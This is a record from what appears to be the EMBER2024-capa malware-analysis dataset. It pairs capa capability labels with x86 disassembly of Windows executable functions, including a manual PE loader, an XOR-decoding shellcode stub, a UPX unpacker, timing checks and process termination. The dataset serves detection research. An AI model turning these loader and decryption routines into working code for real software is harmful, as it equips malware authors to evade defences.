joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4861b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 8], eax
mov edi, dword [ebp - 4]
push 0x40
push edi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x48630c
cmp word [edi], 0x5a4d
jne 0x48630c
mov esi, dword [edi + 0x3c]
add esi, dword [ebp - 4]
push 0xf8
push esi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x48630c
cmp dword [esi], 0x4550
jne 0x48630c
xor eax, eax
mov dword [ebp - 0x10], eax
mov ebx, esi
add ebx, 0xf8
mov eax, dword [esi + 0x50]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x48630c
push 0x40
push 0x3000
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x10]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x48630c
movzx eax, word [esi + 6]
mov dword [ebp - 0xc], eax
mov ecx, ebx
sub ecx, edi
mov eax, dword [ebp - 0xc]
add eax, eax
add eax, eax
add eax, eax
lea eax, [eax + eax*4]
add ecx, eax
mov edx, edi
mov eax, dword [ebp - 0x18]
call fcn.00407cac
mov ecx, dword [ebp - 0x10]
dec ecx
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
xor edx, edx
call fcn.00407cac
mov edi, dword [ebp - 0xc]
dec edi
test edi, edi
jl 0x48629a
inc edi
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
add edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
add eax, dword [ebp - 0x18]
call fcn.00407cac
add ebx, 0x28
dec edi
jne 0x486280
mov eax, dword [esi + 0xa0]
test eax, eax
je 0x4862bb
mov edx, dword [esi + 0xa4]
push edx
mov ecx, eax
add ecx, dword [ebp - 0x18]
mov eax, dword [esi + 0x34]
mov edx, dword [ebp - 0x18]
call fcn.00486088
mov eax, dword [esi + 0x80]
mov ebx, dword [ebp - 0x18]
add eax, ebx
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.004860fc
mov eax, dword [esi + 0x28]
mov edi, eax
add edi, ebx
mov edx, edi
test eax, eax
je 0x486306
xor eax, eax
push ebp
push 0x4862fc
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 1
push ebx
call edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x486306
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4865e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x486732
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x48660e
lea edx, [ebp - 0xc]
or ecx, 0xffffffff
mov eax, 0x48674c
call fcn.00427b40
push 0x486764
push 0x48676c
mov ecx, dword [0x4cf7f0]
mov dl, 1
mov eax, dword [0x4148cc]
call fcn.00419b80
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4866ff
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4866ca
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
push 0x1000
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
call dword [edx]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
call dword [edx]
push eax
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x4865c0]
call fcn.00406250
add esp, 4
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
call fcn.004193d0
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00407cac
mov eax, ebx
call fcn.004861b0
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4866e9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x486706
mov eax, dword [ebp - 0xc]
call fcn.00403c64
ret
Function at 0x48b854
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov esi, eax
push 1
fld dword [ebp + 0xc]
fstp xword [ebp - 0x2c]
wait
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 3
fld dword [ebp + 8]
fstp xword [ebp - 0x38]
wait
lea eax, [ebp - 0x38]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 3
lea ecx, [ebp - 0x20]
mov edx, 0x48ba38
mov eax, esi
call fcn.004885c8
push dword [ebp + 0xc]
push dword [ebp + 8]
mov eax, dword [0x4cc6c8]
mov eax, dword [eax]
call fcn.00485168
push 0x7d0
call sub.kernel32.dll_Sleep_2
mov eax, dword [0x4cc9d4]
mov eax, dword [eax]
push dword [eax + 0x40]
mov eax, dword [0x4cc9d4]
mov eax, dword [eax]
push dword [eax + 0x44]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00427b9c
fstp dword [ebp - 0xc]
wait
xor ebx, ebx
mov dword [ebp - 8], 0xffffffff
call sub.kernel32.dll_GetTickCount_1
mov dword [ebp - 0x10], eax
call sub.kernel32.dll_GetTickCount_1
mov edi, eax
jmp 0x48b9ee
mov eax, dword [0x4cc9d4]
mov eax, dword [eax]
cmp dword [eax + 0x8e8], 0
jne 0x48b95f
mov eax, dword [0x4cc6c8]
mov eax, dword [eax]
mov edx, 0x1b
call fcn.00484948
call sub.kernel32.dll_GetTickCount_1
mov edi, eax
inc ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
mov eax, dword [0x4cc6c8]
mov eax, dword [eax]
call fcn.00485168
push 0x7d0
call sub.kernel32.dll_Sleep_2
push 1
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x1c], 0
fld dword [ebp - 0xc]
fstp xword [ebp - 0x2c]
wait
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 3
lea ecx, [ebp - 0x20]
mov edx, 0x48ba54
mov eax, esi
call fcn.004885c8
cmp ebx, dword [ebp - 4]
jbe 0x48b96e
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x48ba01
call sub.kernel32.dll_GetTickCount_1
sub eax, edi
cmp eax, 0xea60
jbe 0x48b9bf
call sub.kernel32.dll_GetTickCount_1
mov edi, eax
inc ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
mov eax, dword [0x4cc6c8]
mov eax, dword [eax]
call fcn.00485168
push 1
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x1c], 0
fld dword [ebp - 0xc]
fstp xword [ebp - 0x2c]
wait
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 3
lea ecx, [ebp - 0x20]
mov edx, 0x48ba80
mov eax, esi
call fcn.004885c8
mov edx, 0x7d0
mov eax, esi
call fcn.0048ae94
mov eax, dword [0x4cc9d4]
mov eax, dword [eax]
push dword [eax + 0x40]
mov eax, dword [0x4cc9d4]
mov eax, dword [eax]
push dword [eax + 0x44]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00427b9c
fstp dword [ebp - 0xc]
wait
fld dword [ebp - 0xc]
fcomp dword [0x48baa4]
wait
fnstsw ax
sahf
ja 0x48b8f1
push 0
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x3c], 0
lea ecx, [ebp - 0x40]
mov edx, 0x48bab0
mov eax, esi
call fcn.004885c8
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x49088c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040506c
mov eax, dword [ebp - 8]
call fcn.0040506c
xor eax, eax
push ebp
push 0x490a55
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [0x4cca18]
cmp dword [eax], 0
jne 0x4908db
push 0x1f4
call sub.kernel32.dll_Sleep_2
mov eax, dword [0x4cca18]
cmp dword [eax], 0
je 0x4908c7
push 0xbb8
call sub.kernel32.dll_Sleep_2
mov eax, dword [0x4cc6c8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00484878
mov eax, dword [0x4cc6c8]
mov eax, dword [eax]
mov edx, 0xd
call fcn.00484948
call sub.kernel32.dll_GetTickCount_1
mov esi, eax
jmp 0x49093d
call sub.kernel32.dll_GetTickCount_1
sub eax, esi
cmp eax, 0x2710
jbe 0x490926
mov ebx, 0x64
jmp 0x49094d
mov eax, dword [0x4cc6bc]
mov eax, dword [eax]
cmp dword [eax + 8], 0x2ee1
jne 0x49093d
mov ebx, 0x65
jmp 0x49094d
mov eax, dword [0x4cc9d4]
mov eax, dword [eax]
cmp dword [eax + 0x8ec], 0
je 0x490911
push 0x7d0
call sub.kernel32.dll_Sleep_2
mov eax, dword [0x4cc360]
mov eax, dword [eax]
mov eax, dword [eax + 4]
test eax, eax
jbe 0x4909cf
mov edx, dword [0x4cc360]
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0
lea edx, [ebp - 0x14]
xor ecx, ecx
mov eax, 0x490a6c
call fcn.00427b40
mov eax, dword [0x4cc360]
mov eax, dword [eax]
mov eax, dword [eax + 4]
dec eax
test eax, eax
jl 0x4909cf
inc eax
xor esi, esi
lea edx, [esi + esi*2]
mov ecx, dword [0x4cc360]
mov ecx, dword [ecx]
mov edx, dword [ecx + edx*8 + 0x10]
cmp edx, dword [ebp - 0xc]
jb 0x4909cb
mov eax, dword [0x4cc360]
mov dword [ebp - 0x14], edx
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x14]
mov edx, eax
xor ecx, ecx
mov eax, 0x490a94
call fcn.00427b40
mov ebx, 1
jmp 0x4909cf
inc esi
dec eax
jne 0x490993
cmp ebx, 1
jne 0x490a3a
mov eax, dword [0x4cc6c8]
mov eax, dword [eax]
mov edx, 0xd
call fcn.00484948
call sub.kernel32.dll_GetTickCount_1
mov esi, eax
jmp 0x490a1a
call sub.kernel32.dll_GetTickCount_1
sub eax, esi
cmp eax, 0x13880
jbe 0x490a03
mov ebx, 0x67
jmp 0x490a2a
mov eax, dword [0x4cc6bc]
mov eax, dword [eax]
cmp dword [eax + 8], 0x2ef6
jne 0x490a1a
mov ebx, 0x68
jmp 0x490a2a
mov eax, dword [0x4cc9d4]
mov eax, dword [eax]
cmp dword [eax + 0x8f0], 0
je 0x4909ee
lea edx, [ebp - 0x14]
or ecx, 0xffffffff
mov eax, 0x490ab4
call fcn.00427b40
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x490a5c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404c10
ret

Function at 0x49d438
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
xor ecx, ecx
mov edx, 0x40
call fcn.00403474
ret
Function at 0x49d56c
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040506c
xor eax, eax
push ebp
push 0x49d6ba
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x6c]
call fcn.0049d438
push 0
push 0x8000080
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.0040507c
push eax
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x49d699
xor eax, eax
push ebp
push 0x49d692
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CreateFileMappingA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x49d67b
xor eax, eax
push ebp
push 0x49d674
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x49d65d
xor eax, eax
push ebp
push 0x49d656
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetFileSize
mov ecx, eax
lea eax, [ebp - 0x6c]
mov edx, dword [ebp - 0x14]
call fcn.0049d470
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49d65d
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_UnmapViewOfFile
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49d67b
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49d699
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle
ret
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x6c]
call fcn.0049d4f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49d6c1
lea eax, [ebp - 4]
call fcn.00404bec
ret

Function at 0x4bb834
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x4bb88e
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.004bb824
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.004b8fe4
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.004b8afc
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4bb895
lea eax, [ebp - 4]
call fcn.00404bec
ret
Function at 0x4c69e8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4c6aba
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [0x4cc928]
mov edx, dword [edx]
lea eax, [ebp - 8]
mov ecx, 0x4c6ad0
call fcn.00404f04
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x42fd70]
call fcn.0042fe28
mov ebx, eax
push 0
mov ecx, 0x4c6ae4
mov edx, 0x4c6af4
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0x10]
mov byte [0x4cc232], al
mov eax, ebx
call fcn.00403c64
lea edx, [ebp - 8]
or ecx, 0xffffffff
mov eax, 0x4c6b00
call fcn.00427b40
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4c6858
push 0
push 0
call sub.kernel32.dll_CreateThread_1
cmp byte [0x4cc232], 0
je 0x4c6aa4
mov edx, 0x4c6b18
mov eax, 0x1388
call fcn.00427ed4
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4c633c
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov edx, dword [0x4cc868]
mov dword [edx], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c6ac1
lea eax, [ebp - 8]
call fcn.00404bec
ret

Function at 0x4c7088
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebx
push esi
add esp, 0xffffffe4
push 0x4c7140
call sub.kernel32.dll_GetModuleHandleA_1
mov ebx, eax
call fcn.004c6fec
mov dword [esp], eax
push 0x4c7150
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 4], eax
push 0x4c7160
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 8], eax
push 0x4c7170
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0xc], eax
push 0x4c717c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x10], eax
push 0x4c7190
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x14], eax
push 0x4c71a4
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x18], eax
mov esi, fcn.004c6f30
sub esi, 0x4c6e4c
push 0x40
push 0x3000
push esi
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
test ebx, ebx
je 0x4c7139
mov eax, dword [esp]
call fcn.004c6f30
mov edx, 0x4c6e4c
mov ecx, esi
mov eax, ebx
call fcn.00407cac
mov eax, ebx
mov ebx, eax
mov eax, esp
call ebx
add esp, 0x1c
pop esi
pop ebx
ret

Function at 0x4c754c
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0x4c7500
call sub.user32.dll_EnumWindows
mov eax, dword [ebp - 4]
pop ecx
pop ecx
pop ebp
ret

Function at 0x4c7580
Capabilities:
Terminate process

Disassembly:
push ebx
cmp eax, 0xa
jl 0x4c75a0
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
push ebx
call sub.kernel32.dll_CloseHandle
pop ebx
ret
Function at 0x4c8c58
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], eax
mov eax, 0x4c7a48
call fcn.0040708c
xor eax, eax
push ebp
push 0x4c8d06
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x44]
mov eax, dword [0x4cf7f0]
call fcn.0040ef80
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x40]
call fcn.00409d68
mov edx, dword [ebp - 0x40]
mov eax, dword [0x4cc928]
mov ecx, 0x4c8d1c
call fcn.00404f04
mov eax, dword [0x4cc928]
mov eax, dword [eax]
call fcn.0040507c
push eax
call sub.kernel32.dll_OutputDebugStringA
xor eax, eax
call fcn.004c7088
call sub.kernel32.dll_GetCurrentProcessId
mov edx, dword [0x4cc61c]
mov dword [edx], eax
push 0
push 0
push 0x4d33e4
mov ecx, 0x4c77c4
xor edx, edx
xor eax, eax
call fcn.00404b70
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c8d0d
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00404c10
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x401443
pop dword [ebp - 0x34]
mov eax, 0x401443
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x57bcf175
sub dword [ebp - 0x44], 0x96aac2a
mov dword [ebp - 0x40], 0x91ff91f6
add dword [ebp - 0x40], 0xa033ba4f
mov dword [ebp - 0x3c], 0x39669989
add dword [ebp - 0x3c], 0x12e5aaa5
mov dword [ebp - 0x38], 0xb6a164ac
add dword [ebp - 0x38], 0x495e9b54
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x4aecea9b
add dword [ebp - 0x44], 0x29857ebb
mov dword [ebp - 0x40], 0xdf0a4c9b
sub dword [ebp - 0x40], 0x9d9deb26
mov dword [ebp - 0x3c], 0xff87b83c
sub dword [ebp - 0x3c], 0x9c184bd0
mov dword [ebp - 0x38], 0x97de441
add dword [ebp - 0x38], 0xf6821bbf
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x9e5b931f
sub eax, 0x9e1b121f
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3b746
push 0
call eax
mov ecx, 0x54a8
xor edi, edi
add edi, eax
mov ebx, 0x46e400
add ebx, dword [ebp - 0x34]
mov edx, 0x1d5ff146
add edx, 0x4568b4df
sub dword [ebp - 0x2c], 0x14bd4bd2
mov esi, dword [ebx]
sub dword [ebp - 0x20], 0xa2262e48
xor esi, edx
mov dword [edi], esi
add edi, 0x93e1855
sub edi, 0x93e1851
add ebx, 0xf2dd82e9
add ebx, 0xd227d1b
loop 0x401551
add eax, 0x7d6f9e23
add eax, 0x8291a750
mov ebx, eax
add eax, 0xe6ff616a
sub eax, 0xe6ff6165
mov ecx, 0x4f0007c
add ecx, 0xfb4fff84
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc

Function at 0x40b2ba
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x40b2ba
lcall 0x5de5, 0x8b10c483
jmp loc.007e3fb4
Function at 0x3c79610
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x24b8000]
push edi
or ebp, 0xffffffff
jmp 0x3c79632
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x3c79639
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3c79628
mov eax, 1
add ebx, ebx
jne 0x3c7964b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x3c7965c
jne 0x3c7967b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3c7967b
dec eax
add ebx, ebx
jne 0x3c79668
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x3c79640
add ebx, ebx
jne 0x3c79677
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x3c796cd
xor ecx, ecx
sub eax, 3
jb 0x3c79693
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x3c79702
sar eax, 1
mov ebp, eax
jmp 0x3c7969e
add ebx, ebx
jne 0x3c7969e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3c7966c
inc ecx
add ebx, ebx
jne 0x3c796ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3c7966c
add ebx, ebx
jne 0x3c796b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x3c796ae
jne 0x3c796ca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x3c796ae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x3c796ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x3c796de
jmp 0x3c7962e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x3c796ec
add edi, ecx
jmp 0x3c7962e
pop esi
mov edi, esi
mov ecx, 0x2f17
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x3c7970a
cmp byte [edi], 0x22
jne 0x3c7970a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x3c7970f
lea edi, [esi + 0x3876000]
mov eax, dword [edi]
or eax, eax
je 0x3c79787
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x387a0b8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x387a1dc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x3c7973c
mov ecx, edi
jns 0x3c7976b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x387a1e4]
or eax, eax
je 0x3c79781
mov dword [ebx], eax
add ebx, 4
jmp 0x3c79759
call dword [esi + 0x387a1e0]
mov ebp, dword [esi + 0x387a1e8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x3c797bb
sub esp, 0xffffff80
jmp 0x464fc8